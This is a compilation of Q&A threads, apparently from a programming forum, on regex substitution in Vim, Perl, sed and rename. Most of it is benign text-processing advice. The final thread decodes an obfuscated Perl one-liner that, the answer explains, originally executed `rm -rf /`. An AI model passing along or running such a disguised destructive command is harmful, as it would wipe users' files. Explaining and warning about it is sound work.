This question is nearly identical to this question except that I have to go to three spaces (company coding guidelines) rather than four and the accepted solution will only double the matched pattern. Here was my first attempt:
:%s/^\(\s\s\)\+/\1 /gc
But this does not work because four spaces get replaced by three. So I think that what I need is some way to get the count of how many times the pattern matched "+" and use that number to create the other side of the substitution but I feel this functionality is probably not available in Vim's regex (Let me know if you think it might be possible).
I also tried doing the substitution manually by replacing the largest indents first and then the next smaller indent until I got it all converted but this was hard to keep track of the spaces:
:%s/^ \(\S\)/ \1/gc
I could send it through Perl as it seems like Perl might have the ability to do it with its Extended Patterns. But I could not get it to work with my version of Perl. Here was my attempt with trying to count a's:
:%!perl -pe 'm<(?{ $cnt = 0 })(a(?{ local $cnt = $cnt + 1; }))*aaaa(?{ $res = $cnt })>x; print $res'
My last resort will be to write a Perl script to do the conversion but I was hoping for a more general solution in Vim so that I could reuse the idea to solve other issues in the future.
Let vim do it for you?
:set sw=3<CR>
gg=G
The first command sets the shiftwidth option, which is how much you indent by. The second line says: go to the top of the file (gg), and reindent (=) until the end of the file (G).
Of course, this depends on vim having a good formatter for the language you're using. Something might get messed up if not.
Regexp way... Safer, but less understandable:
:%s#^\(\s\s\)\+#\=repeat(' ',strlen(submatch(0))*3/2)#g
(I had to do some experimentation.)
Two points:
If the replacement starts with \=, it is evaluated as an expression.
You can use many things instead of /, so / is available for division.
The perl version you asked for...
From the command line (edits in-place, no backup):
bash$ perl -pi -e 's{^((?: )+)}{" " x (length($1)/2)}e' YOUR_FILE
(in-place, original backed up to "YOUR_FILE.bak"):
bash$ perl -pi.bak -e 's{^((?: )+)}{" " x (length($1)/2)}e' YOUR_FILE
From vim while editing YOUR_FILE:
:%!perl -pe 's{^((?: )+)}{" " x (length($1)/2)}e'
The regex matches the beginning of the line, followed by (the captured set of) one or more "two space" groups. The substitution pattern is a perl expression (hence the 'e' modifier) which counts the number of "two space" groups that were captured and creates a string of that same number of "three space" groups. If an "extra" space was present in the original it is preserved after the substitution. So if you had three spaces before, you'll have four after, five before will turn into seven after, etc.
Related
I have files with many lines of the following form:
word -0.15636028 -0.2953045 0.29853472 ....
(one word preceding several hundreds floats delimited by blanks)
Due to some errors out of my control, the word sometimes has spaces in it.
a bbb c -0.15636028 -0.2953045 0.29853472 .... (several hundreds floats)
which I wish to substitute by underscores so to get:
a_bbb_c -0.15636028 -0.2953045 0.29853472 .... (several hundreds floats)
have tried for each line the following substitution code:
s/\s(?=(\s-?\d\.\d+)+)/_/g;
So lookarounds is apparently not the solution.
I'd be grateful for any clues.
Your idea for the lookahead is fine, but the question is how to replace only spaces in the part matched before the lookahead, when they are mixed with other things (the words, that is).
One way is to capture what precedes the first float (given by lookahead), and in the replacement part run another regex on what's been captured, to replace spaces
s{ (.*?) (?=\s+-?[0-9]+\.[0-9]) }{ $1 =~ s/\s+/_/gr }ex
Notes
Modifier /e makes the replacement part be evaluated as code; any valid Perl code goes
With s{}{} delimiters we can use s/// ones in the replacement part's regex
Regex in the replacement part, that changes spaces to _ in the captured text, has /r modifier so to return the modified string and leave the original unchanged. Thus we aren't attempting to change $1 (it's read only), and the modified string (being returned) is available as the replacement
Modifier /x allows use of spaces in patterns, for readability
Some assumptions must be made here. Most critical one is that the text to process is followed by a number in the given format, -?[0-9]+\.[0-9]+, and that there isn't such a number in the text itself. This follows the OP's sample and, more decidedly, the attempted solution
A couple of details with assumptions. (1) Leading digits are expected with [0-9]+\. -- if you can have numbers like .123 then use [0-9]*\. (2) The \s+ in the inner regex collapses multiple consecutive spaces into one _, so a b c becomes a_b_c (and not a__b_c)
In the lookahead I scoop up all spaces preceding the first float with \s+ -- and so they'll stay in front of the first float. This is as wanted with one space but with multiple ones it may be awkward
If they were included in the .*? capture (if the lookahead only has one space, \s) then we'd get an _ trailing the word(s). I thought that'd be more awkward. The ideal solution is to run another regex and clean that up, if such a case is possible and if it's a bother
An example
echo "a bbb c -0.15636028 -0.2953045" |
perl -wpe's{(.*?)(?=\s+-?[0-9]+\.[0-9])}{ $1 =~ s/\s+/_/gr }e'
prints
a_bbb_c -0.15636028 -0.2953045
Then to process all lines in a file you can do either
perl -wpe'...' file > new_file
and get a new_file with changes, or
perl -i.bak -wpe'...' file
to change the file in-place (that's -i), where .bak makes it save a backup.
Would something like this work for you:
s/\s+/_/g;
s/_(-?\d+\.)/ $1/g;
Use a negative lookahead to replace any spaces not followed by a float:
echo "a bbb cc -0.123232 -0.3232" | perl -wpe 's/ +(?! *-?\d+\.)/_/g'
Assuming from your comments your files look like that:
name float1 float2 float3
a bbb c -0.15636028 -0.2953045 0.29853472
abbb c -0.15636028 -0.2953045 0.29853472
a bbbc -0.15636028 -0.2953045 0.29853472
ab bbc -0.15636028 -0.2953045 0.29853472
abbbc -0.15636028 -0.2953045 0.29853472
Since you said in comments that the first field may contain digits, you can't use a lookahead that searches the first float to solve the problem. (you can nevertheless use a lookahead that counts the number of floats until the end of the line but it isn't very handy).
What I suggest is a solution based on fields number defined by the header first line.
You can use the header line to know the number of fields and replace spaces at the begining of other lines until the number of fields is the same.
You can use perl command line as awk like that:
perl -MEnglish -pae'$c=scalar #F if ($NR==1);for($i=0;$i<scalar(#F)-$c;$i++){s/\s+/_/}' file
The for loop counts the difference between the number of fields in the first row (stored in $c) and in the current line (given by scalar(#F) where #F is the fields array), and repeats the substitution.
The a switches the perl command line in autosplit mode and the -MEnglish makes available the number row variable as $NR (like the NR variable in awk).
It's possible to shorten it like that:
perl -pae'$c=#F if $.<2;$i=#F-$c;s/\s+/_/ while $i--' file
I am trying to write a very simple one liner to find cases of:
foo N
and replace them with
foo N-Y
For example, if I had 3 files and they had the following lines in them:
foo 5
foo 3
foo 9
After the script is run with Y=4, the lines would read:
foo 1
foo -1
foo 5
I stumbled upon an existing thread that suggested using /e to run code in the replace half of the substitute command and was able to effectively subtract Y from all my matches, but I have no idea how to best print "foo" back into the file since when I try to separate foo and the number into two capture groups and print them back in, perl thinks I am trying to multiply them and wants an operator.
Here's where I'm at:
find . -iname "*somematch*" -exec perl -pi -e 's/(Foo *)(\d+)/$1$2-4/e' {} \;
Of course this doesn't work, "Scalar found where operator expected at -e line 1, near "$1$2." I'm at a loss as to how best to proceed without writing something much longer.
Edit: To be more specific, if I have the /e option enabled to be able to perform math in the substitution, is there a simple way to print the string in another capture group in that substitution without it trying to do math to it?
Alternatively, is there a simple way to surgically perform the substitution on only part of the pattern? I tried to combine m// and s/// to achieve the results but ended up getting nowhere.
The replacement part is treated as code under /e so it need be written using legal syntax, like you'd use in a program. Writing $t$v isn't legal syntax ($1$2 in your regex).
One way to concatenate strings is $t . $v. Then you also need parenthesis around the addition, since by precedence rules the strings $1 and $2 are concatenated first, and that alphanumeric string attempted in addition, drawing a warning. So
perl -i -pe's/(Foo *)([0-9]+)/$1.($2-4)/e'
I replaced \d with [0-9] since \d matches all kinds of "digits," from all over Unicode, what doesn't seem to be what you need.
There is another way if the math comes after the rest of the pattern, as it does in your examples
perl -i -pe's/Foo *\K([0-9]+)/$1-4/e'
Here the \K is a form of positive lookbehind which drops all matches previous to that anchor, so they are not consumed. Thus only the [0-9]+ is replaced, as needed.
I'm using brew rename to rename multiple files...
file-24.png => file.png
file-48.png => file#2x.png
file-72.png => file#3x.png
the first one is succeed with,,
rename 's/-24//g' *
the second and third...
rename 's/-48/#2x/g' *
and getting Possible unintended interpolation of #2 in string at (eval 2) line 1...
escaping doesnt work..
rename 's/-48/\#2x/g' *
other possible ways to rename multiple files like this case are also welcome..
I don't know what "brew rename" is, but if it uses normal regex
's/pattern/q(#replacement)/e'
This uses /e modifier to evaluate the replacement side as code, where q() operator (single quotes) is used to insert literal characters.
Another way is to use \x40 for # character
's/pattern/\x40replacement/'
or just escape it, use \# in the replacement.
This is suitable for when there's just one character to deal with, like here. if there's more than that then it's easier to single-quote the whole thing, with q() (for which we need /e flag).
Can't help it but ask -- are you certain that you want to have # in a file name? That character gets interpreted in various ways by many tools. For instance, sticking that file name in a variable in a Perl script leads to no end of trouble. Why not even simply file_at_2x.png?
This may be more of a curiousity, but if you have a lot of files you can rename them all with
's{ \-([0-9]+) }{ ($r = $1/24) > 1 && qq(_at_${r}x) || q() }ex'
This captures the number ([0-9]+) into $1. Then, it finds the ratio ($r = $1/24) and if that is >1 then (&& short-circuits) it replaces -number with _at_${r}x, otherwise (||) removes it by putting an empty string, q().
I use {}{} delimiters so that I may use / inside, and }x allows spaces inside, for readability.
Please test this carefully with (a copy of) your actual files, as always.
I know this question is old and maybe the version of rename that apt-get installs is lightly different or improved. However, escaping with a single backslash seems to work:
$ rename -n -v 's/-48/\#2x/g' *
rename(foo-48.txt, foo#2x.txt)
To all,
I have spent alot of time searching for a solution to this but cannot find it.
Just for a background, I have a text database with thousands of records. Each record is delineated by :
"0 #nnnnnn# Xnnn" // no quotes
The records have many fields on a line of their own, but the field I am interested in to search and replace a substring (notice spaces) :
" 1 X94 User1.faculty.ventura.ca" // no quotes
I want to use sed to change the substring ".faculty.ventura.ca" to ".students.moorpark.ut", changing nothing else on the line, globally for ALL records.
I have tested many things with negative results.
How can this be done ?
Thank You for the assistance.
Bob Perez (robertperez1957#gmail.com)
If I understand you correctly, you want this:
sed 's/1 X94 \(.*\).faculty.ventura.ca/1 X94 \1.students.moorpark.ut/' mydatabase.file
This will replace all records of the form 1 X94 XXXXXX.faculty.ventura.ca with 1 X94 XXXXX.students.moorpark.ut.
Here's details on what it all does:
The '' let you have spaces and other messes in your script.
s/ means substitute
1 X94 \(.*\).faculty.ventura.ca is what you'll be substituting. The \(.*\) stores anything in that regular expression for use in the replacement
1 X94 \1.students.moorpark.ut is what to replace the thing you found with. \1 is filled in with the first thing that matched \(.*\). (You can have multiple of those in one line, and the next one would then be \2.)
The final / just tells sed that you're done. If your database doesn't have linefeeds to separate its records, you'll want to end with /g, to make this change multiple times per line.
mydatabase.file should be the filename of your database.
Note that this will output to standard out. You'll probably want to add
> mynewdatabasefile.name
to the end of your line, to save all the output in a file. (It won't do you much good on your terminal.)
Edit, per your comments
If you want to replace 1 F94 bperez.students.Napvil.NCC to 1 F94 bperez.JohnSmith.customer, you can use another set of \(.*\), as:
sed 's/1 X94 \(.*\).\(.*\).Napvil.NCC/1 X94 \1.JohnSmith.customer/' 251-2.txt
This is similar to the above, except that it matches two stored parameters. In this example, \1 evaluates to bperez and \2 evaluates to students. We match \2, but don't use it in the replace part of the expression.
You can do this with any number of stored parameters. (Sed probably has some limit, but I've never hit a sufficiently complicated string to hit it.) For example, we could make the sed script be '\(.\) \(...\) \(.*\).\(.*\).\(.*\).\(.*\)/\1 \2 \3.JohnSmith.customer/', and this would make \1 = 1, \2 = X94, \3 = bperez, \4 = Napvil and \5 = NCC, and we'd ignore \4 and \5. This is actually not the best answer though - just showing it can be done. It's not the best because it's uglier, and also because it's more accepting. It would then do a find and replace on a line like 2 Z12 bperez.a.b.c, which is presumably not what you want. The find query I put in the edit is as specific as possible while still being general enough to suit your tasks.
Another edit!
You know how I said "be as specific as possible"? Due to the . character being special, I wasn't. In fact, I was very generic. The . means "match any character at all," instead of "match a period". Regular expressions are "greedy", matching the most they could, so \(.*\).\(.*\) will always fill the first \(.*\) (which says, "take 0 to many of any character and save it as a match for later") as far as it can.
Try using:
sed 's/1 X94 \(.*\)\.\(.*\).Napvil.NCC/1 X94 \1.JohnSmith.customer/' 251-2.txt
That extra \ acts as an escape sequence, and changes the . from "any character" to "just the period". FYI, since I don't (but should) escape the other periods, technically sed would consider 1 X94 XXXX.StdntZNapvilQNCC as a valid match. Since . means any character, a Z or a Q there would be considered a fit.
The following tutorial helped me
sed - replace substring in file
try the same using a -i prefix to replace in the file directly
sed -i 's/unix/linux/' file.txt
The following program is in Perl.
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-#[-`{-};`-{/" -;;s;;$_;see'
Can somebody help me to understand how it works?
This bit of code's already been asked about on the Debian forums.
According to Lacek, the moderator on that thread, what the code originally did is rm -rf /, though they mention they've changed the version there so that people trying to figure out how it works don't delete their entire filesystem. There's also an explanation there of what the various parts of the Perl code do.
(Did you post this knowing what it did, or were you unaware of it?)
To quote Lacek's post on it:
Anyway, here is how the script works.
It is basically two regex substitutions and one transliteration.
Piping anything into its standard input makes no difference, the perl
code doesn't use its input in any way. If you split the long line on
the boundaries of the expressions, you get this:
$??s:;s:s;;$?::
s;;=]=>%-{\\>%<-{;;
y; -/:-#[-`{-};`-{/" -;;
s;;$_;see
The first line is a condition which does nothing save makes the code
look more difficult. If the previous command originated from the perl
code wasn't successful, it does some substitutions on the standard
input (which the program doesn't use, so effectively it substitutes
the nothing). Since no previous command exists, $? is always 0, so the
first line never gets executed.
The second line substitutes the
standard input (the nothing) for seemingly meaningless garbage.
The third line is a transliteration operator. It defines 4 ranges, in
which the characters gets substituted to the one range and the 4
characters given in the transliteration replacement. I'd prefer not to
write the whole transliteration table here, because it's a bit long.
If you are really interested, just write the characters in the defined
ranges (space to '/', ':' to '#', '[' to '(backtick)', and '{' to '}'), and
write next to them the characters from the replacement range ('(backtick)' to
'{'), and finally, write the remaining characters (/,", space and -)
from the replacement pattern. When you have this table, you can see
what character gets replaced to what.
The last line executes the
resulting command by substituting the nothing with the resulted string
(which is 'xterm'. Originally it was 'system"rm -rf /"', and is held
in $_), evaluates the substitution as an expression and executes it.
(I've substituted 'backtick' for the actual backtick character here so that the code auto-formatting doesn't kick in.)